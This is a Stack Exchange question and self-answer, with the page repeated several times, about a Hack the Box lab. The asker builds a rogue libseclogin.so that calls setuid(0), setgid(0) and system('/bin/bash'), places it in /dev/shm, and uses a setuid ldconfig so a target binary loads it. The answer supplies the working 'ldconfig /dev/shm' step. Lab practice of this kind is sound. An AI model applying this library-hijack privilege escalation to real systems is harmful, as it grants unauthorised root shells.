Manually linking C library for executable
up vote
1
down vote
favorite
I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.
The missing library is libseclogin.so
. I have created a new file in /dev/shm
and from there I have tried to use ldconfig
to manually link the new library to drop me into a shell when myexec
is run. ldconfig
has the sticky bit set.
Here are the commands I have run. At the very end you can see that when I run ldd
again to check the library has been relinked to /dev/shm/libseclogin.so
that there has been no change.
Am I missing something out from this process?
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$
This is the basic C
scipt I am using to drop into the shell.
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
Compile command to create shared library.
gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
linux
migrated from superuser.com Dec 7 at 8:08
This question came from our site for computer enthusiasts and power users.
add a comment |
up vote
1
down vote
favorite
I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.
The missing library is libseclogin.so
. I have created a new file in /dev/shm
and from there I have tried to use ldconfig
to manually link the new library to drop me into a shell when myexec
is run. ldconfig
has the sticky bit set.
Here are the commands I have run. At the very end you can see that when I run ldd
again to check the library has been relinked to /dev/shm/libseclogin.so
that there has been no change.
Am I missing something out from this process?
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$
This is the basic C
scipt I am using to drop into the shell.
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
Compile command to create shared library.
gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
linux
migrated from superuser.com Dec 7 at 8:08
This question came from our site for computer enthusiasts and power users.
Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15
add a comment |
up vote
1
down vote
favorite
up vote
1
down vote
favorite
I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.
The missing library is libseclogin.so
. I have created a new file in /dev/shm
and from there I have tried to use ldconfig
to manually link the new library to drop me into a shell when myexec
is run. ldconfig
has the sticky bit set.
Here are the commands I have run. At the very end you can see that when I run ldd
again to check the library has been relinked to /dev/shm/libseclogin.so
that there has been no change.
Am I missing something out from this process?
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$
This is the basic C
scipt I am using to drop into the shell.
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
Compile command to create shared library.
gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
linux
I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.
The missing library is libseclogin.so
. I have created a new file in /dev/shm
and from there I have tried to use ldconfig
to manually link the new library to drop me into a shell when myexec
is run. ldconfig
has the sticky bit set.
Here are the commands I have run. At the very end you can see that when I run ldd
again to check the library has been relinked to /dev/shm/libseclogin.so
that there has been no change.
Am I missing something out from this process?
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$
This is the basic C
scipt I am using to drop into the shell.
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
Compile command to create shared library.
gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
linux
linux
asked Dec 6 at 9:10
Rich C
71011333
71011333
migrated from superuser.com Dec 7 at 8:08
This question came from our site for computer enthusiasts and power users.
migrated from superuser.com Dec 7 at 8:08
This question came from our site for computer enthusiasts and power users.
Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15
add a comment |
Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15
Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15
Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15
add a comment |
1 Answer
1
active
oldest
votes
up vote
1
down vote
accepted
Issue was primarily down to my usage of ldconfig
.
Once I ran it without explicitly specifying the so
file, this seemed to correct the issues.
Correct command...
ldconfig /dev/shm
Rather than...
ldconfig /dev/shm/libseclogin.c
Then when I ran ldd myexec
I got the correct output.
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
add a comment |
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1 Answer
1
active
oldest
votes
1 Answer
1
active
oldest
votes
active
oldest
votes
active
oldest
votes
up vote
1
down vote
accepted
Issue was primarily down to my usage of ldconfig
.
Once I ran it without explicitly specifying the so
file, this seemed to correct the issues.
Correct command...
ldconfig /dev/shm
Rather than...
ldconfig /dev/shm/libseclogin.c
Then when I ran ldd myexec
I got the correct output.
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
add a comment |
up vote
1
down vote
accepted
Issue was primarily down to my usage of ldconfig
.
Once I ran it without explicitly specifying the so
file, this seemed to correct the issues.
Correct command...
ldconfig /dev/shm
Rather than...
ldconfig /dev/shm/libseclogin.c
Then when I ran ldd myexec
I got the correct output.
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
add a comment |
up vote
1
down vote
accepted
up vote
1
down vote
accepted
Issue was primarily down to my usage of ldconfig
.
Once I ran it without explicitly specifying the so
file, this seemed to correct the issues.
Correct command...
ldconfig /dev/shm
Rather than...
ldconfig /dev/shm/libseclogin.c
Then when I ran ldd myexec
I got the correct output.
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
Issue was primarily down to my usage of ldconfig
.
Once I ran it without explicitly specifying the so
file, this seemed to correct the issues.
Correct command...
ldconfig /dev/shm
Rather than...
ldconfig /dev/shm/libseclogin.c
Then when I ran ldd myexec
I got the correct output.
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
answered Dec 6 at 13:21
Rich C
71011333
71011333
add a comment |
add a comment |
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Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15